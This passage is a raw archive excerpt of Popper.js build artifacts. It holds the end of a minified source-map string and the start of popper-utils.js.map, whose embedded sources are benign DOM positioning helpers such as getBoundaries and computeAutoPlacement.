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"}umd/popper-utils.js.map000064400000166725151677356750011155 0ustar00{"version":3,"file":"popper-utils.js","sources":["../../src/utils/getStyleComputedProperty.js","../../src/utils/getParentNode.js","../../src/utils/getScrollParent.js","../../src/utils/isBrowser.js","../../src/utils/isIE.js","../../src/utils/getOffsetParent.js","../../src/utils/isOffsetContainer.js","../../src/utils/getRoot.js","../../src/utils/findCommonOffsetParent.js","../../src/utils/getScroll.js","../../src/utils/includeScroll.js","../../src/utils/getBordersSize.js","../../src/utils/getWindowSizes.js","../../src/utils/getClientRect.js","../../src/utils/getBoundingClientRect.js","../../src/utils/getOffsetRectRelativeToArbitraryNode.js","../../src/utils/getViewportOffsetRectRelativeToArtbitraryNode.js","../../src/utils/isFixed.js","../../src/utils/getFixedPositionOffsetParent.js","../../src/utils/getBoundaries.js","../../src/utils/computeAutoPlacement.js","../../src/utils/debounce.js","../../src/utils/find.js","../../src/utils/findIndex.js","../../src/utils/getOffsetRect.js","../../src/utils/getOuterSizes.js","../../src/utils/getOppositePlacement.js","../../src/utils/getPopperOffsets.js","../../src/utils/getReferenceOffsets.js","../../src/utils/getSupportedPropertyName.js","../../src/utils/isFunction.js","../../src/utils/isModifierEnabled.js","../../src/utils/isModifierRequired.js","../../src/utils/isNumeric.js","../../src/utils/getWindow.js","../../src/utils/removeEventListeners.js","../../src/utils/runModifiers.js","../../src/utils/setAttributes.js","../../src/utils/setStyles.js","../../src/utils/setupEventListeners.js","../../src/utils/index.js"],"sourcesContent":["/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nexport default function getStyleComputedProperty(element, property) {\n  if (element.nodeType !== 1) {\n    return [];\n  }\n  // NOTE: 1 DOM access here\n  const window = element.ownerDocument.defaultView;\n  const css = window.getComputedStyle(element, null);\n  return property ? css[property] : css;\n}\n","/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nexport default function getParentNode(element) {\n  if (element.nodeName === 'HTML') {\n    return element;\n  }\n  return element.parentNode || element.host;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nexport default function getScrollParent(element) {\n  // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n  if (!element) {\n    return document.body\n  }\n\n  switch (element.nodeName) {\n    case 'HTML':\n    case 'BODY':\n      return element.ownerDocument.body\n    case '#document':\n      return element.body\n  }\n\n  // Firefox want us to check `-x` and `-y` variations as well\n  const { overflow, overflowX, overflowY } = getStyleComputedProperty(element);\n  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n    return element;\n  }\n\n  return getScrollParent(getParentNode(element));\n}\n","export default typeof window !== 'undefined' && typeof document !== 'undefined';\n","import isBrowser from './isBrowser';\n\nconst isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);\nconst isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);\n\n/**\n * Determines if the browser is Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @param {Number} version to check\n * @returns {Boolean} isIE\n */\nexport default function isIE(version) {\n  if (version === 11) {\n    return isIE11;\n  }\n  if (version === 10) {\n    return isIE10;\n  }\n  return isIE11 || isIE10;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nexport default function getOffsetParent(element) {\n  if (!element) {\n    return document.documentElement;\n  }\n\n  const noOffsetParent = isIE(10) ? document.body : null;\n\n  // NOTE: 1 DOM access here\n  let offsetParent = element.offsetParent || null;\n  // Skip hidden elements which don't have an offsetParent\n  while (offsetParent === noOffsetParent && element.nextElementSibling) {\n    offsetParent = (element = element.nextElementSibling).offsetParent;\n  }\n\n  const nodeName = offsetParent && offsetParent.nodeName;\n\n  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n    return element ? element.ownerDocument.documentElement : document.documentElement;\n  }\n\n  // .offsetParent will return the closest TH, TD or TABLE in case\n  // no offsetParent is present, I hate this job...\n  if (\n    ['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 &&\n    getStyleComputedProperty(offsetParent, 'position') === 'static'\n  ) {\n    return getOffsetParent(offsetParent);\n  }\n\n  return offsetParent;\n}\n","import getOffsetParent from './getOffsetParent';\n\nexport default function isOffsetContainer(element) {\n  const { nodeName } = element;\n  if (nodeName === 'BODY') {\n    return false;\n  }\n  return (\n    nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element\n  );\n}\n","/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nexport default function getRoot(node) {\n  if (node.parentNode !== null) {\n    return getRoot(node.parentNode);\n  }\n\n  return node;\n}\n","import isOffsetContainer from './isOffsetContainer';\nimport getRoot from './getRoot';\nimport getOffsetParent from './getOffsetParent';\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nexport default function findCommonOffsetParent(element1, element2) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n    return document.documentElement;\n  }\n\n  // Here we make sure to give as \"start\" the element that comes first in the DOM\n  const order =\n    element1.compareDocumentPosition(element2) &\n    Node.DOCUMENT_POSITION_FOLLOWING;\n  const start = order ? element1 : element2;\n  const end = order ? element2 : element1;\n\n  // Get common ancestor container\n  const range = document.createRange();\n  range.setStart(start, 0);\n  range.setEnd(end, 0);\n  const { commonAncestorContainer } = range;\n\n  // Both nodes are inside #document\n  if (\n    (element1 !== commonAncestorContainer &&\n      element2 !== commonAncestorContainer) ||\n    start.contains(end)\n  ) {\n    if (isOffsetContainer(commonAncestorContainer)) {\n      return commonAncestorContainer;\n    }\n\n    return getOffsetParent(commonAncestorContainer);\n  }\n\n  // one of the nodes is inside shadowDOM, find which one\n  const element1root = getRoot(element1);\n  if (element1root.host) {\n    return findCommonOffsetParent(element1root.host, element2);\n  } else {\n    return findCommonOffsetParent(element1, getRoot(element2).host);\n  }\n}\n","/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nexport default function getScroll(element, side = 'top') {\n  const upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n  const nodeName = element.nodeName;\n\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    const html = element.ownerDocument.documentElement;\n    const scrollingElement = element.ownerDocument.scrollingElement || html;\n    return scrollingElement[upperSide];\n  }\n\n  return element[upperSide];\n}\n","import getScroll from './getScroll';\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nexport default function includeScroll(rect, element, subtract = false) {\n  const scrollTop = getScroll(element, 'top');\n  const scrollLeft = getScroll(element, 'left');\n  const modifier = subtract ? -1 : 1;\n  rect.top += scrollTop * modifier;\n  rect.bottom += scrollTop * modifier;\n  rect.left += scrollLeft * modifier;\n  rect.right += scrollLeft * modifier;\n  return rect;\n}\n","/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nexport default function getBordersSize(styles, axis) {\n  const sideA = axis === 'x' ? 'Left' : 'Top';\n  const sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n  return (\n    parseFloat(styles[`border${sideA}Width`], 10) +\n    parseFloat(styles[`border${sideB}Width`], 10)\n  );\n}\n","import isIE from './isIE';\n\nfunction getSize(axis, body, html, computedStyle) {\n  return Math.max(\n    body[`offset${axis}`],\n    body[`scroll${axis}`],\n    html[`client${axis}`],\n    html[`offset${axis}`],\n    html[`scroll${axis}`],\n    isIE(10)\n      ? (parseInt(html[`offset${axis}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Top' : 'Left'}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Bottom' : 'Right'}`]))\n    : 0 \n  );\n}\n\nexport default function getWindowSizes(document) {\n  const body = document.body;\n  const html = document.documentElement;\n  const computedStyle = isIE(10) && getComputedStyle(html);\n\n  return {\n    height: getSize('Height', body, html, computedStyle),\n    width: getSize('Width', body, html, computedStyle),\n  };\n}\n","/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nexport default function getClientRect(offsets) {\n  return {\n    ...offsets,\n    right: offsets.left + offsets.width,\n    bottom: offsets.top + offsets.height,\n  };\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getBordersSize from './getBordersSize';\nimport getWindowSizes from './getWindowSizes';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\nimport isIE from './isIE';\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nexport default function getBoundingClientRect(element) {\n  let rect = {};\n\n  // IE10 10 FIX: Please, don't ask, the element isn't\n  // considered in DOM in some circumstances...\n  // This isn't reproducible in IE10 compatibility mode of IE11\n  try {\n    if (isIE(10)) {\n      rect = element.getBoundingClientRect();\n      const scrollTop = getScroll(element, 'top');\n      const scrollLeft = getScroll(element, 'left');\n      rect.top += scrollTop;\n      rect.left += scrollLeft;\n      rect.bottom += scrollTop;\n      rect.right += scrollLeft;\n    }\n    else {\n      rect = element.getBoundingClientRect();\n    }\n  }\n  catch(e){}\n\n  const result = {\n    left: rect.left,\n    top: rect.top,\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top,\n  };\n\n  // subtract scrollbar size from sizes\n  const sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};\n  const width =\n    sizes.width || element.clientWidth || result.right - result.left;\n  const height =\n    sizes.height || element.clientHeight || result.bottom - result.top;\n\n  let horizScrollbar = element.offsetWidth - width;\n  let vertScrollbar = element.offsetHeight - height;\n\n  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n  // we make this check conditional for performance reasons\n  if (horizScrollbar || vertScrollbar) {\n    const styles = getStyleComputedProperty(element);\n    horizScrollbar -= getBordersSize(styles, 'x');\n    vertScrollbar -= getBordersSize(styles, 'y');\n\n    result.width -= horizScrollbar;\n    result.height -= vertScrollbar;\n  }\n\n  return getClientRect(result);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport includeScroll from './includeScroll';\nimport getScrollParent from './getScrollParent';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport runIsIE from './isIE';\nimport getClientRect from './getClientRect';\n\nexport default function getOffsetRectRelativeToArbitraryNode(children, parent, fixedPosition = false) {\n  const isIE10 = runIsIE(10);\n  const isHTML = parent.nodeName === 'HTML';\n  const childrenRect = getBoundingClientRect(children);\n  const parentRect = getBoundingClientRect(parent);\n  const scrollParent = getScrollParent(children);\n\n  const styles = getStyleComputedProperty(parent);\n  const borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n  const borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n  // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n  if(fixedPosition && isHTML) {\n    parentRect.top = Math.max(parentRect.top, 0);\n    parentRect.left = Math.max(parentRect.left, 0);\n  }\n  let offsets = getClientRect({\n    top: childrenRect.top - parentRect.top - borderTopWidth,\n    left: childrenRect.left - parentRect.left - borderLeftWidth,\n    width: childrenRect.width,\n    height: childrenRect.height,\n  });\n  offsets.marginTop = 0;\n  offsets.marginLeft = 0;\n\n  // Subtract margins of documentElement in case it's being used as parent\n  // we do this only on HTML because it's the only element that behaves\n  // differently when margins are applied to it. The margins are included in\n  // the box of the documentElement, in the other cases not.\n  if (!isIE10 && isHTML) {\n    const marginTop = parseFloat(styles.marginTop, 10);\n    const marginLeft = parseFloat(styles.marginLeft, 10);\n\n    offsets.top -= borderTopWidth - marginTop;\n    offsets.bottom -= borderTopWidth - marginTop;\n    offsets.left -= borderLeftWidth - marginLeft;\n    offsets.right -= borderLeftWidth - marginLeft;\n\n    // Attach marginTop and marginLeft because in some circumstances we may need them\n    offsets.marginTop = marginTop;\n    offsets.marginLeft = marginLeft;\n  }\n\n  if (\n    isIE10 && !fixedPosition\n      ? parent.contains(scrollParent)\n      : parent === scrollParent && scrollParent.nodeName !== 'BODY'\n  ) {\n    offsets = includeScroll(offsets, parent);\n  }\n\n  return offsets;\n}\n","import getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\n\nexport default function getViewportOffsetRectRelativeToArtbitraryNode(element, excludeScroll = false) {\n  const html = element.ownerDocument.documentElement;\n  const relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n  const width = Math.max(html.clientWidth, window.innerWidth || 0);\n  const height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n  const scrollTop = !excludeScroll ? getScroll(html) : 0;\n  const scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n  const offset = {\n    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n    width,\n    height,\n  };\n\n  return getClientRect(offset);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nexport default function isFixed(element) {\n  const nodeName = element.nodeName;\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    return false;\n  }\n  if (getStyleComputedProperty(element, 'position') === 'fixed') {\n    return true;\n  }\n  return isFixed(getParentNode(element));\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nexport default function getFixedPositionOffsetParent(element) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n   if (!element || !element.parentElement || isIE()) {\n    return document.documentElement;\n  }\n  let el = element.parentElement;\n  while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n    el = el.parentElement;\n  }\n  return el || document.documentElement;\n\n}\n","import getScrollParent from './getScrollParent';\nimport getParentNode from './getParentNode';\nimport findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getViewportOffsetRectRelativeToArtbitraryNode from './getViewportOffsetRectRelativeToArtbitraryNode';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nexport default function getBoundaries(\n  popper,\n  reference,\n  padding,\n  boundariesElement,\n  fixedPosition = false\n) {\n  // NOTE: 1 DOM access here\n\n  let boundaries = { top: 0, left: 0 };\n  const offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n  // Handle viewport case\n  if (boundariesElement === 'viewport' ) {\n    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n  }\n\n  else {\n    // Handle other cases based on DOM element used as boundaries\n    let boundariesNode;\n    if (boundariesElement === 'scrollParent') {\n      boundariesNode = getScrollParent(getParentNode(reference));\n      if (boundariesNode.nodeName === 'BODY') {\n        boundariesNode = popper.ownerDocument.documentElement;\n      }\n    } else if (boundariesElement === 'window') {\n      boundariesNode = popper.ownerDocument.documentElement;\n    } else {\n      boundariesNode = boundariesElement;\n    }\n\n    const offsets = getOffsetRectRelativeToArbitraryNode(\n      boundariesNode,\n      offsetParent,\n      fixedPosition\n    );\n\n    // In case of HTML, we need a different computation\n    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n      const { height, width } = getWindowSizes(popper.ownerDocument);\n      boundaries.top += offsets.top - offsets.marginTop;\n      boundaries.bottom = height + offsets.top;\n      boundaries.left += offsets.left - offsets.marginLeft;\n      boundaries.right = width + offsets.left;\n    } else {\n      // for all the other DOM elements, this one is good\n      boundaries = offsets;\n    }\n  }\n\n  // Add paddings\n  padding = padding || 0;\n  const isPaddingNumber = typeof padding === 'number';\n  boundaries.left += isPaddingNumber ? padding : padding.left || 0; \n  boundaries.top += isPaddingNumber ? padding : padding.top || 0; \n  boundaries.right -= isPaddingNumber ? padding : padding.right || 0; \n  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0; \n\n  return boundaries;\n}\n","import getBoundaries from '../utils/getBoundaries';\n\nfunction getArea({ width, height }) {\n  return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeAutoPlacement(\n  placement,\n  refRect,\n  popper,\n  reference,\n  boundariesElement,\n  padding = 0\n) {\n  if (placement.indexOf('auto') === -1) {\n    return placement;\n  }\n\n  const boundaries = getBoundaries(\n    popper,\n    reference,\n    padding,\n    boundariesElement\n  );\n\n  const rects = {\n    top: {\n      width: boundaries.width,\n      height: refRect.top - boundaries.top,\n    },\n    right: {\n      width: boundaries.right - refRect.right,\n      height: boundaries.height,\n    },\n    bottom: {\n      width: boundaries.width,\n      height: boundaries.bottom - refRect.bottom,\n    },\n    left: {\n      width: refRect.left - boundaries.left,\n      height: boundaries.height,\n    },\n  };\n\n  const sortedAreas = Object.keys(rects)\n    .map(key => ({\n      key,\n      ...rects[key],\n      area: getArea(rects[key]),\n    }))\n    .sort((a, b) => b.area - a.area);\n\n  const filteredAreas = sortedAreas.filter(\n    ({ width, height }) =>\n      width >= popper.clientWidth && height >= popper.clientHeight\n  );\n\n  const computedPlacement = filteredAreas.length > 0\n    ? filteredAreas[0].key\n    : sortedAreas[0].key;\n\n  const variation = placement.split('-')[1];\n\n  return computedPlacement + (variation ? `-${variation}` : '');\n}\n","import isBrowser from './isBrowser';\n\nconst longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nlet timeoutDuration = 0;\nfor (let i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n    timeoutDuration = 1;\n    break;\n  }\n}\n\nexport function microtaskDebounce(fn) {\n  let called = false\n  return () => {\n    if (called) {\n      return\n    }\n    called = true\n    window.Promise.resolve().then(() => {\n      called = false\n      fn()\n    })\n  }\n}\n\nexport function taskDebounce(fn) {\n  let scheduled = false;\n  return () => {\n    if (!scheduled) {\n      scheduled = true;\n      setTimeout(() => {\n        scheduled = false;\n        fn();\n      }, timeoutDuration);\n    }\n  };\n}\n\nconst supportsMicroTasks = isBrowser && window.Promise\n\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nexport default (supportsMicroTasks\n  ? microtaskDebounce\n  : taskDebounce);\n","/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function find(arr, check) {\n  // use native find if supported\n  if (Array.prototype.find) {\n    return arr.find(check);\n  }\n\n  // use `filter` to obtain the same behavior of `find`\n  return arr.filter(check)[0];\n}\n","import find from './find';\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function findIndex(arr, prop, value) {\n  // use native findIndex if supported\n  if (Array.prototype.findIndex) {\n    return arr.findIndex(cur => cur[prop] === value);\n  }\n\n  // use `find` + `indexOf` if `findIndex` isn't supported\n  const match = find(arr, obj => obj[prop] === value);\n  return arr.indexOf(match);\n}\n","import getWindowSizes from './getWindowSizes';\nimport getClientRect from './getClientRect';\n\n/**\n * Get the position of the given element, relative to its offset parent\n * @method\n * @memberof Popper.Utils\n * @param {Element} element\n * @return {Object} position - Coordinates of the element and its `scrollTop`\n */\nexport default function getOffsetRect(element) {\n  let elementRect;\n  if (element.nodeName === 'HTML') {\n    const { width, height } = getWindowSizes(element.ownerDocument);\n    elementRect = {\n      width,\n      height,\n      left: 0,\n      top: 0,\n    };\n  } else {\n    elementRect = {\n      width: element.offsetWidth,\n      height: element.offsetHeight,\n      left: element.offsetLeft,\n      top: element.offsetTop,\n    };\n  }\n\n  // position\n  return getClientRect(elementRect);\n}\n","/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nexport default function getOuterSizes(element) {\n  const window = element.ownerDocument.defaultView;\n  const styles = window.getComputedStyle(element);\n  const x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n  const y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n  const result = {\n    width: element.offsetWidth + y,\n    height: element.offsetHeight + x,\n  };\n  return result;\n}\n","/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nexport default function getOppositePlacement(placement) {\n  const hash = { left: 'right', right: 